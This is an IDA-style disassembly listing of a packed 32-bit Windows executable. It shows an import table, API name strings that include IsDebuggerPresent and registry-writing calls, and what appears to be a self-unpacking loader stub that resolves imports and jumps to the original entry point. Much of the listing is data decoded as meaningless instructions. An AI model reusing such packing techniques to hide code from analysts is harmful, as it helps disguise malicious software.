; char *__cdecl	_itoa(int Val, char *DstBuf, int Radix)
		extrn __imp__itoa:dword	; DATA XREF: _itoar
		extrn __imp___GetMainArgs:dword	; DATA XREF: __GetMainArgsr
; void __cdecl _sleep(unsigned __int32 Duration)
		extrn __imp__sleep:dword ; DATA	XREF: _sleepr
; int __cdecl _stricmp(const char *Str1, const char *Str2)
		extrn __imp__stricmp:dword ; DATA XREF:	_stricmpr
; int __cdecl abs(int X)
		extrn __imp_abs:dword	; DATA XREF: absr
; void __cdecl exit(int	Code)
		extrn __imp_exit:dword	; DATA XREF: exitr
; int __cdecl memcmp(const void	*Buf1, const void *Buf2, size_t	Size)
		extrn __imp_memcmp:dword ; DATA	XREF: memcmpr
; void *__cdecl	memcpy(void *Dst, const	void *Src, size_t Size)
		extrn __imp_memcpy:dword ; DATA	XREF: memcpyr
; void *__cdecl	memset(void *Dst, int Val, size_t Size)
		extrn __imp_memset:dword ; DATA	XREF: memsetr
		extrn __imp_raise:dword	; DATA XREF: raiser
; int __cdecl rand()
		extrn __imp_rand:dword	; DATA XREF: randr
		extrn __imp_signal:dword ; DATA	XREF: signalr
; int sprintf(char *Dest, const	char *Format, ...)
		extrn __imp_sprintf:dword ; DATA XREF: sprintfr
; void __cdecl srand(unsigned int Seed)
		extrn __imp_srand:dword	; DATA XREF: srandr
; int sscanf(const char	*Src, const char *Format, ...)
		extrn __imp_sscanf:dword ; DATA	XREF: sscanfr
; char *__cdecl	strcat(char *Dest, const char *Source)
		extrn __imp_strcat:dword ; DATA	XREF: strcatr
; char *__cdecl	strchr(const char *Str,	int Val)
		extrn __imp_strchr:dword ; DATA	XREF: strchrr
; int __cdecl strncmp(const char *Str1,	const char *Str2, size_t MaxCount)
		extrn __imp_strncmp:dword ; DATA XREF: strncmpr

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 448570h
		assume es:nothing, ss:nothing, ds:_text, fs:nothing, gs:nothing
		dd 0
		dd 79530046h, 6C6C4173h, 7453636Fh, 676E6972h, 0
		dd 69460015h, 6946646Eh, 55747372h, 61436C72h, 45656863h
		dd 7972746Eh, 41h, 6946001Ch, 654E646Eh, 72557478h, 6361436Ch
		dd 6E456568h, 41797274h, 0
		dd 6F43006Ah, 61657243h, 6E496574h, 6E617473h, 6563h, 4C43007Ch
		dd 46444953h, 536D6F72h, 6E697274h, 67h, 6F430058h, 74696E49h
		dd 696C6169h, 657Ah, 6F43005Bh,	6E696E55h, 61697469h, 657A696Ch
		dd 0
		dd 6544006Bh, 6574656Ch, 656C6946h, 41h, 7845009Bh, 72507469h
		dd 7365636Fh, 73h, 7845009Dh, 646E6170h, 69766E45h, 6D6E6F72h
		dd 53746E65h, 6E697274h, 417367h, 654700EDh, 6D6F4374h
		dd 646E616Dh, 656E694Ch, 41h, 65470112h, 72754374h, 746E6572h
		dd 636F7250h, 49737365h, 64h, 65470115h, 72754374h, 746E6572h
		dd 65726854h, 64496461h, 0
		dd 6547012Fh, 6C694674h, 7A695365h, 65h, 65470131h, 6C694674h
		dd 6D695465h, 65h, 6547013Ch, 73614C74h, 72724574h, 726Fh
		dd 65470147h, 646F4D74h, 46656C75h, 4E656C69h, 41656D61h
		dd 0
		dd 65470149h, 646F4D74h, 48656C75h, 6C646E61h, 4165h, 65470167h
		dd 6F725074h, 64644163h, 73736572h, 0
		dd 6547016Ah, 6F725074h, 73736563h, 70616548h, 0
		dd 65470188h, 73795374h, 446D6574h, 63657269h, 79726F74h
		dd 41h,	6C430027h, 4865736Fh, 6C646E61h, 65h, 6547019Ah
		dd 6D655474h, 74615070h, 4168h,	654701A4h, 63695474h, 756F436Bh
		dd 746Eh, 654701ACh, 72655674h,	6E6F6973h, 0
		dd 654701ADh, 72655674h, 6E6F6973h, 417845h, 654701AFh
		dd 6C6F5674h, 49656D75h, 726F666Eh, 6974616Dh, 416E6Fh
		dd 654701B7h, 6E695774h, 73776F64h, 65726944h, 726F7463h
		dd 4179h, 6C4701BAh, 6C61626Fh,	41646441h, 416D6F74h, 0
		dd 6C4701BEh, 6C61626Fh, 656C6544h, 74416574h, 6D6Fh, 6C4701BFh
		dd 6C61626Fh, 646E6946h, 6D6F7441h, 41h, 6C4701C8h, 6C61626Fh
		dd 6F6D654Dh, 74537972h, 73757461h, 0
; ---------------------------------------------------------------------------
		jmp	short loc_4487FF
; ---------------------------------------------------------------------------
		dec	ecx


loc_4487FF:				; CODE XREF: .text:004487FCj
		outsb
		jz	short loc_448867
		jb	short near ptr loc_44886F+1
		outsd
		arpl	[ebx+65h], bp
		db	64h
		dec	ecx
		outsb
		arpl	[edx+65h], si
		insd
		outs	dx, byte ptr gs:[esi]
		jz	short $+2
		add	cl, dh
		add	[ecx+73h], ecx
		inc	edx
		popa
		db	64h
		push	edx
		db	65h
		popa
		db	64h
		push	eax
		jz	short loc_448894
; ---------------------------------------------------------------------------
		dw 0
		db 0F4h	; ô
		db 1, 49h, 73h
aBadwriteptr	db 'BadWritePtr',0
		db 0F7h	; ÷
		db 1, 49h, 73h
aDebuggerpresen	db 'DebuggerPresent',0
		dd 6F4C0203h, 694C6461h, 72617262h, 4179h, 6F430033h, 69467970h
		dd 41656Ch
; ---------------------------------------------------------------------------
		or	[edx], eax
		dec	esp


loc_448867:				; CODE XREF: .text:00448800j
		outsd
		arpl	[ecx+6Ch], sp
		inc	ecx
		insb
		insb
		outsd


loc_44886F:				; CODE XREF: .text:00448802j
		arpl	[eax], ax
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 6F4C020Dh, 466C6163h, 656572h, 704F0230h, 754D6E65h
		dd 41786574h, 0
		dd 704F0232h
; ---------------------------------------------------------------------------


loc_448894:				; CODE XREF: .text:00448820j
		outs	dx, byte ptr gs:[esi]
		push	eax
		jb	short loc_448908
		arpl	[ebp+73h], sp
		jnb	short $+2
; ---------------------------------------------------------------------------
		dw 0
		dd 6552025Ch, 69466461h, 656Ch,	74520278h, 776E556Ch, 646E69h
		dd 74520279h, 72655A6Ch, 6D654D6Fh, 79726Fh, 72430042h
		dd 65746165h, 656C6946h, 41h, 655302A8h, 6C694674h, 696F5065h
		dd 7265746Eh, 0
		dd 655302ACh, 6C694674h, 6D695465h, 65h, 6C5302DCh, 706565h
		dd 655402E4h
; ---------------------------------------------------------------------------


loc_448908:				; CODE XREF: .text:00448897j
		jb	short loc_448977
		imul	ebp, [esi+61h],	72506574h
		outsd
		arpl	[ebp+73h], sp
		jnb	short $+2
		add	dh, bh
		add	dl, [esi+69h]
		jb	short near ptr word_448992
		jnz	short loc_448981
		insb
		inc	ecx
		insb
		insb
		outsd
		arpl	[eax], ax
; ---------------------------------------------------------------------------
		db 0
		db    0
		db 3, 56h, 69h
aRtualfree	db 'rtualFree',0
		align 4
		db    5
		db 3, 56h, 69h
aRtualquery	db 'rtualQuery',0
		align 4
		db  11h
		db 3, 57h, 69h
aDechartomultib	db 'deCharToMultiByte',0
		align 10h
		dd 69570312h, 6578456Eh, 63h, 7257031Dh, 46657469h
		db 69h,	6Ch, 65h
; ---------------------------------------------------------------------------


loc_448977:				; CODE XREF: .text:loc_448908j
		add	[edi+0], cl
		inc	ebx
		jb	short loc_4489E2
		popa
		jz	short near ptr loc_4489E4+1
		dec	ebp


loc_448981:				; CODE XREF: .text:0044891Ej
		jnz	short loc_4489F7
		db	65h
		js	short loc_4489C7
; ---------------------------------------------------------------------------
		dw 0
		dd 736C0345h, 656C7274h
		db 6Eh,	41h
word_448992	dw 0			; CODE XREF: .text:0044891Cj
		dd 736C0346h, 656C7274h, 576Eh,	72430054h, 65746165h, 636F7250h
		dd 41737365h, 0
		dd 7243005Ah, 65746165h, 65726854h, 6461h
		db 63h,	0, 43h
; ---------------------------------------------------------------------------


loc_4489C7:				; CODE XREF: .text:00448983j
		popa
		insb
		insb
		push	edi
		imul	ebp, [esi+64h],	7250776Fh
		outsd
		arpl	[ecx+0], ax
; ---------------------------------------------------------------------------
		dw 0
		dd 6547006Ch, 6E695774h
		db 64h,	6Fh
; ---------------------------------------------------------------------------


loc_4489E2:				; CODE XREF: .text:0044897Bj
		ja	short loc_448A38


loc_4489E4:				; CODE XREF: .text:0044897Ej
		db	65h
		js	short loc_448A5B
		inc	ecx
; ---------------------------------------------------------------------------
		dd 0
		dd 65470073h, 6E695774h
		db 64h,	6Fh, 77h
; ---------------------------------------------------------------------------


loc_4489F7:				; CODE XREF: .text:loc_448981j
		push	edx
		arpl	gs:[eax+eax+78h], si
		add	[esi+69h], al
		outsb
		db	64h
		push	edi
		imul	ebp, [esi+64h],	41776Fh
; ---------------------------------------------------------------------------
		dw 0
		dd 6547007Ch, 6E695774h, 776F64h, 65470011h, 616C4374h
		dd 614E7373h, 41656Dh, 655300CFh, 636F4674h, 7375h, 654700D4h
; ---------------------------------------------------------------------------


loc_448A38:				; CODE XREF: .text:loc_4489E2j
		jz	short near ptr loc_448A7F+1
		outsd
		jb	short loc_448AA2
		db	67h
		jb	near ptr 8AAFh
		jnz	short loc_448AB0
		db	64h
		push	edi
		imul	ebp, [esi+64h],	776Fh
		add	[ecx], bl
		add	[edi+ebp*2+61h], cl
		db	64h
		inc	ebx
		jnz	short near ptr loc_448AC5+2
		jnb	short near ptr loc_448AC5+1
		jb	short loc_448A9A
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_448A5B:				; CODE XREF: .text:loc_4489E4j
		add	[edx], cl
		add	[ebx+65h], edx
		jz	short loc_448AB6
		imul	ebp, [ebp+65h],	1B000072h
		add	[edi+ebp*2+61h], cl
		db	64h
		dec	ecx
		arpl	[edi+6Eh], bp
		inc	ecx
		add	[eax+1], al
		dec	ebp
		db	65h
		jnb	short loc_448AED
		popa
		db	67h, 65h
		inc	edx
		outsd


loc_448A7F:				; CODE XREF: .text:loc_448A38j
		js	short loc_448AC2
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 65470023h, 73654D74h, 65676173h, 41h, 65470169h
		db 74h,	57h
; ---------------------------------------------------------------------------


loc_448A9A:				; CODE XREF: .text:00448A57j
		imul	ebp, [esi+64h],	6F4C776Fh
		outsb


loc_448AA2:				; CODE XREF: .text:00448A3Bj
		db	67h
		inc	ecx
; ---------------------------------------------------------------------------
		dd 0
		dd 6553016Bh, 6E695774h
; ---------------------------------------------------------------------------


loc_448AB0:				; CODE XREF: .text:00448A40j
		outs	dx, dword ptr fs:[esi]
		ja	short loc_448B00
		outsd
		outsb


loc_448AB6:				; CODE XREF: .text:00448A60j
		db	67h
		inc	ecx
; ---------------------------------------------------------------------------
		dd 0
		dd 7243016Eh
		db 65h,	61h
; ---------------------------------------------------------------------------


loc_448AC2:				; CODE XREF: .text:loc_448A7Fj
		jz	short loc_448B29
		inc	esp


loc_448AC5:				; CODE XREF: .text:00448A55j
					; .text:00448A53j
		db	65h
		jnb	short loc_448B33
		jz	short near ptr loc_448B37+2
		jo	short near ptr loc_448B0C+1
; ---------------------------------------------------------------------------
		dd 0
		dd 65530175h, 72685474h, 44646165h, 746B7365h, 706Fh, 65470176h
		dd 72685474h
		db 65h
; ---------------------------------------------------------------------------


loc_448AED:				; CODE XREF: .text:00448A77j
		popa
		db	64h
		inc	esp
		db	65h
		jnb	short loc_448B5E
		jz	short near ptr loc_448B63+1
		jo	short $+2
		add	[edi], ah
		add	[edx+esi*2+61h], dl
		outsb
		jnb	short loc_448B6C


loc_448B00:				; CODE XREF: .text:00448AB2j
		popa
		jz	short near ptr loc_448B67+1
		dec	ebp
		db	65h
		jnb	short loc_448B7A
		popa
		add	gs:[bx+si], al


loc_448B0C:				; CODE XREF: .text:00448ACAj
		sub	[eax], al
		inc	esp
		imul	esi, [ebx+70h],	68637461h
		dec	ebp
		db	65h
		jnb	short loc_448B8D
		popa
		db	67h, 65h
		inc	ecx
; ---------------------------------------------------------------------------
		dw 0
		dd 737701FBh, 6E697270h
		db 74h
; ---------------------------------------------------------------------------


loc_448B29:				; CODE XREF: .text:loc_448AC2j
		inc	cx
		add	[eax+eax], dh
		push	ebx
		outs	dx, byte ptr gs:[esi]
		db	64h
		dec	ebp


loc_448B33:				; CODE XREF: .text:loc_448AC5j
		db	65h
		jnb	short loc_448BA9
		popa


loc_448B37:				; CODE XREF: .text:00448AC8j
		db	67h, 65h
		inc	ecx
; ---------------------------------------------------------------------------
		dw 0
		dd 65520005h, 74736967h, 6C437265h, 41737361h, 0
		dd 6F500041h, 75517473h, 654D7469h
; ---------------------------------------------------------------------------
		jnb	short loc_448BD1


loc_448B5E:				; CODE XREF: .text:00448AF0j
		popa
		add	gs:[bx+si], al


loc_448B63:				; CODE XREF: .text:00448AF3j
		add	[edi+0], cl
		push	ebx


loc_448B67:				; CODE XREF: .text:00448B01j
		push	6957776Fh


loc_448B6C:				; CODE XREF: .text:00448AFEj
		outsb
		outs	dx, dword ptr fs:[esi]
		ja	short $+2
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 72430053h
		db 65h,	61h
; ---------------------------------------------------------------------------


loc_448B7A:				; CODE XREF: .text:00448B04j
		jz	short loc_448BE1
		push	edi
		imul	ebp, [esi+64h],	7845776Fh
		inc	ecx
; ---------------------------------------------------------------------------
		db 3 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		add	[ebp+73h], al


loc_448B8D:				; CODE XREF: .text:00448B17j
		jz	short near ptr loc_448BFF+2
		outsd
		jns	short loc_448BE9
		imul	ebp, [esi+64h],	5A00776Fh
		add	[ebp+6Fh], cl
		jbe	short near ptr loc_448BFF+4
		push	edi
		imul	ebp, [esi+64h],	776Fh
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------
		popa


loc_448BA9:				; CODE XREF: .text:loc_448B33j
		add	[ebp+66h], al
		push	edi
		imul	ebp, [esi+64h],	7250776Fh
		outsd
		arpl	[ecx+0], ax
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 65470089h, 6F745374h, 624F6B63h, 7463656Ah, 0
		db 0CAh
; ---------------------------------------------------------------------------


loc_448BD1:				; CODE XREF: .text:00448B5Cj
		add	[ebx+65h], dl
		jz	short loc_448C18
		imul	eax, [ebx+6Fh],	6Ch
		outsd
		jb	short $+2
; ---------------------------------------------------------------------------
		db 3 dup(0)
		db 0DDh
; ---------------------------------------------------------------------------


loc_448BE1:				; CODE XREF: .text:loc_448B7Aj
		add	[ebx+65h], dl
		jz	short loc_448C3A
		db	65h
		js	short loc_448C5D


loc_448BE9:				; CODE XREF: .text:00448B90j
		inc	ebx
		outsd
		insb
		outsd
		jb	short $+2
		add	dl, bh
		add	[ebx+72h], al
		db	65h
		popa
		jz	short loc_448C5D
		inc	edx
		jb	short loc_448C70
		jnb	short near ptr loc_448C63+2
		dec	ecx
		outsb


loc_448BFF:				; CODE XREF: .text:loc_448B8Dj
					; .text:00448B9Cj
		imul	esi, fs:[edx+65h], 7463h
		add	[eax+eax], bl
		inc	ebx
		jb	short loc_448C72
		popa
		jz	short loc_448C75
		inc	esi
		outsd
		outsb
		jz	short near ptr word_448C56
; ---------------------------------------------------------------------------
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_448C18:				; CODE XREF: .text:00448BD4j
		sbb	[eax], al
		dec	edi
		jo	short loc_448C82
		outsb
		push	eax
		jb	short loc_448C90
		arpl	[ebp+73h], sp
		jnb	short near ptr loc_448C77+3
		outsd
		imul	esp, [ebp+6Eh],	0
		add	[edx], bl
		add	[edi+65h], al
		jz	short near ptr loc_448C85+1
		outsd
		imul	esp, [ebp+6Eh],	49h
		outsb
		outsw


loc_448C3A:				; CODE XREF: .text:00448BE4j
		jb	short near ptr loc_448CA8+1
		popa
		jz	short loc_448CA8
		outsd
		outsb
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 65520173h, 65724367h, 4B657461h, 78457965h
		db 41h,	0
word_448C56	dw 0			; CODE XREF: .text:00448C13j
		dd 65520176h
		db 67h
; ---------------------------------------------------------------------------


loc_448C5D:				; CODE XREF: .text:00448BE6j
					; .text:00448BF6j
		inc	ebx
		insb
		outsd
		jnb	short loc_448CC7
		dec	ebx


loc_448C63:				; CODE XREF: .text:00448BFBj
		db	65h
		jns	short $+3
; ---------------------------------------------------------------------------
		dw 0
		dd 6552017Bh, 65704F67h
; ---------------------------------------------------------------------------


loc_448C70:				; CODE XREF: .text:00448BF9j
		outsb
		dec	ebx


loc_448C72:				; CODE XREF: .text:00448C0Bj
		db	65h
		jns	short loc_448CBA


loc_448C75:				; CODE XREF: .text:00448C0Ej
		js	short loc_448CB8


loc_448C77:				; CODE XREF: .text:00448C24j
		add	[esi+67655201h], al
		push	ecx
		jnz	short loc_448CE5
		jb	short loc_448CFB


loc_448C82:				; CODE XREF: .text:00448C1Bj
		push	esi
		popa
		insb


loc_448C85:				; CODE XREF: .text:00448C30j
		jnz	short near ptr loc_448CEA+2
		inc	ebp
		js	short near ptr loc_448CC9+2
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------
		xchg	eax, edx
		add	[edx+65h], edx


loc_448C90:				; CODE XREF: .text:00448C1Fj
		db	67h
		push	ebx
		db	65h
		jz	short near ptr loc_448CEA+1
		popa
		insb
		jnz	short loc_448CFE
		inc	ebp
		js	short loc_448CDD
; ---------------------------------------------------------------------------
		dd 0
		db 0CCh
		db 1, 47h, 65h
		dd 63655374h
; ---------------------------------------------------------------------------


loc_448CA8:				; CODE XREF: .text:00448C3Dj
					; .text:loc_448C3Aj
		jnz	short near ptr loc_448D16+6
		imul	esi, [ecx+edi*2+49h], 6F666Eh
; ---------------------------------------------------------------------------
		dw 0
		dd 655301CFh
; ---------------------------------------------------------------------------


loc_448CB8:				; CODE XREF: .text:loc_448C75j
		jz	short near ptr byte_448D0D


loc_448CBA:				; CODE XREF: .text:loc_448C72j
		arpl	gs:[ebp+72h], si
		imul	esi, [ecx+edi*2+49h], 6F666Eh
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_448CC7:				; CODE XREF: .text:00448C60j
		add	dh, dl


loc_448CC9:				; CODE XREF: .text:00448C88j
		add	[ebx+65h], edx
		jz	short loc_448D13
		outsb
		jz	short loc_448D43
		imul	esp, [ebp+73h],	63416E49h
		insb
		inc	ecx
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------
		dec	edx


loc_448CDD:				; CODE XREF: .text:00448C9Aj
		add	[edi+65h], al
		jz	short loc_448D35
; ---------------------------------------------------------------------------
		dw 6469h
; ---------------------------------------------------------------------------
		dec	ecx


loc_448CE5:				; CODE XREF: .text:00448C7Ej
		db	64h
		outs	dx, byte ptr gs:[esi]
		jz	short near ptr loc_448D51+2


loc_448CEA:				; CODE XREF: .text:00448C92j
					; .text:loc_448C85j
		imul	sp, [ebp+72h], 7541h
		jz	short near ptr loc_448D56+4
		outsd
		jb	short near ptr loc_448D5D+1
		jz	short loc_448D70
		add	[ebx+0], cl
		inc	edi


loc_448CFB:				; CODE XREF: .text:00448C80j
		db	65h
		jz	short loc_448D51


loc_448CFE:				; CODE XREF: .text:00448C97j
		imul	esp, [ebx+edx*2+75h], 74754162h
		push	7469726Fh
		jns	short $+2
; ---------------------------------------------------------------------------
byte_448D0D	db 3 dup(0)		; CODE XREF: .text:loc_448CB8j
		db 4Ch,	0, 47h
; ---------------------------------------------------------------------------


loc_448D13:				; CODE XREF: .text:00448CCCj
		db	65h
		jz	short near ptr loc_448D68+1


loc_448D16:				; CODE XREF: .text:loc_448CA8j
		imul	esp, [ebx+edx*2+75h], 74754162h
		push	7469726Fh
		jns	short loc_448D68
		outsd
		jnz	short loc_448D96
		jz	short $+2
; ---------------------------------------------------------------------------
		dw 0
		dd 695F00E8h, 616F74h
		db 18h
; ---------------------------------------------------------------------------


loc_448D35:				; CODE XREF: .text:00448CE0j
		add	[edi+5Fh], bl
		inc	edi
		db	65h
		jz	short loc_448D89
		popa
; ---------------------------------------------------------------------------
		db 69h,	6Eh, 41h
		db 72h,	67h, 73h
; ---------------------------------------------------------------------------


loc_448D43:				; CODE XREF: .text:00448CCFj
		add	[ecx+6C735F01h], al
		db	65h, 65h
		jo	short $+4
; ---------------------------------------------------------------------------
		db 3 dup(0)
; ---------------------------------------------------------------------------
		cmpsb


loc_448D51:				; CODE XREF: .text:loc_448CFBj
					; .text:00448CE8j
		add	[edi+73h], ebx
		jz	short near ptr dword_448DC8


loc_448D56:				; CODE XREF: .text:00448CF0j
		imul	esp, [ebx+6Dh],	0F6000070h


loc_448D5D:				; CODE XREF: .text:00448CF3j
		add	[ecx+62h], esp
		jnb	short $+2
; ---------------------------------------------------------------------------
		dw 0
		dd 7865020Ah
; ---------------------------------------------------------------------------


loc_448D68:				; CODE XREF: .text:00448D23j
					; .text:loc_448D13j
		imul	esi, [eax+eax+0], 656D0253h


loc_448D70:				; CODE XREF: .text:00448CF5j
		insd
		arpl	[ebp+70h], bp
; ---------------------------------------------------------------------------
		dd 0
		dd 656D0254h, 7970636Dh, 0
		dd 656D0256h
		db 6Dh
; ---------------------------------------------------------------------------


loc_448D89:				; CODE XREF: .text:00448D39j
		jnb	short loc_448DF0
		jz	short $+2
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 61720260h
		db 69h,	73h
; ---------------------------------------------------------------------------


loc_448D96:				; CODE XREF: .text:00448D26j
		add	gs:[ecx+2], ah
		jb	short near ptr byte_448DFD
		outsb
		add	fs:[eax], al
		push	2
		jnb	short loc_448E0D
		outs	dx, byte ptr [si]
		popa
		insb
; ---------------------------------------------------------------------------
		dd 0
		dd 7073026Dh, 746E6972h, 66h, 7273026Fh, 646E61h, 73730270h
		dd 666E6163h
dword_448DC8	dd 0				dd 74730271h, 74616372h, 0
		dd 74730272h, 72686372h, 0
		dd 7473027Bh, 6D636E72h, 70h
; ---------------------------------------------------------------------------


loc_448DF0:				; CODE XREF: .text:loc_448D89j
		dec	edi
		dec	esp
		inc	ebp
		inc	ecx
		push	ebp
		push	esp
		xor	esi, [edx]
		db	2Eh
		inc	esp
		dec	esp
		dec	esp
; ---------------------------------------------------------------------------
		db 0
byte_448DFD	db 3 dup(0)		; CODE XREF: .text:00448D9Aj
		dd offset off_448000
; ---------------------------------------------------------------------------
		push	edi
		dec	ecx
		dec	esi
		dec	ecx
		dec	esi
		inc	ebp
		push	esp
		db	2Eh
		inc	esp


loc_448E0D:				; CODE XREF: .text:00448DA2j
		dec	esp
		dec	esp
		add	[eax+eax*4], dl
		inc	esp
		add	[eax+eax*4], dl
		inc	esp
		add	[edi+6Ch], ch
		xor	esi, gs:[edx]
		db	2Eh
		inc	esp
		dec	esp
		dec	esp
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd offset off_448028
		dd offset off_448028
		dd offset off_448028
		dd offset off_448028
		dd 4E52454Bh, 32334C45h, 6C6C642Eh, 0
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd 52455355h, 442E3233h, 4C4Ch,	1Dh dup(448050h), 33494447h
		dd 4C442E32h, 4Ch, 5 dup(448064h), 41564441h, 32334950h
		dd 4C4C442Eh, 0
		dd offset off_448078
		dd offset off_448078
		dd offset off_448078
		dd offset off_448078
		dd offset off_448078
		dd offset off_448078
		dd offset off_448078
		dd offset off_448078
		dd offset off_448078
		dd offset off_448078
		dd offset off_448078
		dd offset off_448078
		dd offset off_448078
		dd 44545243h, 442E4C4Ch, 4C4Ch,	12h dup(44808Ch), 3EBh dup(0)
		db 90h
; ---------------------------------------------------------------------------
		pusha
		call	sub_44A577
		jmp	short loc_44A055
; ---------------------------------------------------------------------------
		align 4
		dd 0D9000000h, 4873h, 90DB8700h, 6 dup(0)
		dd 4A00001h, 9B000000h,	9A000000h, 3951F000h, 39523800h
		dd 4 dup(0)
		db 0
; ---------------------------------------------------------------------------


loc_44A055:				; CODE XREF: .text:0044A007j
		mov	ebx, 4439A4h
		add	ebx, ebp
		sub	ebx, [ebp+4439D5h]
		cmp	dword ptr [ebp+444804h], 0
		mov	[ebp+444804h], ebx
		jnz	loc_44A4DB
		lea	eax, [ebp+44480Ch]
		push	eax
		call	dword ptr [ebp+444918h]
		mov	[ebp+444808h], eax
		mov	edi, eax
		lea	ebx, [ebp+444819h]
		push	ebx
		push	eax
		call	dword ptr [ebp+444914h]
		mov	[ebp+4439E1h], eax
		lea	ebx, [ebp+444826h]
		push	ebx
		push	edi
		call	dword ptr [ebp+444914h]
		mov	[ebp+4439E5h], eax
		lea	eax, [ebp+443B72h]
		jmp	eax
; ---------------------------------------------------------------------------
		align 10h
		dd 40h,	2 dup(0)
		dd 80000000h, 12190004h, 2 dup(0)
		dd 10000000h, 0BC980000h, 0C0000000h, 0BBCC0003h, 80000000h
		dd 10540004h, 36h dup(0)
		dd 9D8B0000h, 443A66h, 0A74DB0Bh, 8587038Bh, 443A6Ah, 0B58D0389h
		dd 443A82h, 0F003E83h, 11D84h, 82B58D00h, 6A00443Ah, 10006804h
		dd 680000h, 6A000018h, 0E195FF00h, 89004439h, 4439DD85h
		dd 4468B00h, 10E05h, 68046A00h,	1000h, 0FF006A50h, 4439E195h
		dd 0D9858900h, 56004439h, 9D031E8Bh, 444804h, 39DDB5FFh
		dd 76FF0044h, 0E8535004h, 339h,	39D4BD80h, 75000044h, 0D485FE5Ch
		dd 8B004439h, 4BD033Eh,	0FF004448h, 0C307C637h,	78FD7FFh
		dd 53565150h, 0E983C88Bh, 0D9B58B06h, 33004439h, 74C90BDBh
		dd 0E83CAC2Ch, 0EB0A74h, 474E93Ch, 0EDEB4943h, 0EB068Bh
		dd 75063E80h, 0C10024F3h, 0C32B18C0h, 0C3830689h, 4C68305h
		dd 0EB05E983h, 595E5BD0h, 8BC88B58h, 4BD033Eh, 8B004448h
		dd 4439D9B5h, 2F9C100h,	0C88BA5F3h, 0F303E183h,	685EA4h
		dd 6A000080h, 0D9B5FF00h, 0FF004439h, 4439E595h, 8C68300h
		dd 0F003E83h, 0FFFF2885h, 800068FFh, 6A0000h, 39DDB5FFh
		dd 95FF0044h, 4439E5h, 3A669D8Bh, 0DB0B0044h, 38B0874h
		dd 3A6A8587h, 958B0044h, 444804h, 3A62858Bh, 0D02B0044h
		dd 0C28B7974h, 3310E8C1h, 6EB58BDBh, 300443Ah, 444804B5h
		dd 3E8300h, 4E8B6174h, 8E98304h, 3E8BE9D1h, 4804BD03h
		dd 0C6830044h, 1E8B6608h, 830CEBC1h, 0C7401FBh,	7402FB83h
		dd 3FB8316h, 2CEB2074h,	811E8B66h, 0FFFE3h, 4016600h, 661DEB1Fh
		dd 0E3811E8Bh, 0FFFh, 1F140166h, 8B660EEBh, 0FFE3811Eh
		dd 100000Fh, 0EB1F14h, 0FF0E8366h, 0E202C683h, 8B9AEBB4h
		dd 44480495h, 0ADB58B00h, 0B004439h, 31174F6h, 0C00BADF2h
		dd 0C2030A74h, 0AD66F88Bh, 0F1EBAB66h, 3A72B58Bh, 958B0044h
		dd 444804h, 468BF203h, 0FC0850Ch, 10A84h, 8BC20300h, 95FF50D8h
		dd 444918h, 775C085h, 1C95FF53h, 89004449h, 4439B185h
		dd 0B585C700h, 4439h, 8B000000h, 44480495h, 85068B00h
		dd 8B0375C0h, 0C2031046h, 39B58503h, 188B0044h,	3107E8Bh
		dd 0B5BD03FAh, 85004439h, 0A2840FDBh, 0F7000000h, 0C3h
		dd 3047580h, 534343DAh,	0FFFFE381h, 0FF537FFFh,	4439B1B5h
		dd 1495FF00h, 85004449h, 6F755BC0h, 0C3F7h, 19758000h
		dd 0C468B57h, 48048503h, 53500044h, 487F858Dh, 57500044h
		dd 99E9h, 0FFE38100h, 8B7FFFFFh, 44480885h, 0B1853900h
		dd 75004439h, 0D38B5724h, 2E2C14Ah, 39B19D8Bh, 7B8B0044h
		dd 3B7C8B3Ch, 3B5C0378h, 13048B1Ch, 39B18503h, 0EB5F0044h
		dd 468B5716h, 485030Ch,	50004448h, 0D0858D53h, 50004448h
		dd 894BEB57h, 0B5858307h, 4004439h, 0FFFF32E9h,	890689FFh
		dd 46890C46h, 14C68310h, 4804958Bh, 0EBE90044h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_44A4DB:				; CODE XREF: .text:0044A06Fj
		mov	eax, [ebp+443A76h]
		push	eax
		add	eax, [ebp+444804h]
		pop	ecx
		or	ecx, ecx
		mov	[ebp+443EA1h], eax
		popa
		jnz	short loc_44A4FC
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_44A4FC:				; CODE XREF: .text:0044A4F2j
		push	offset start
		retn
; ---------------------------------------------------------------------------
		mov	eax, [ebp+444808h]
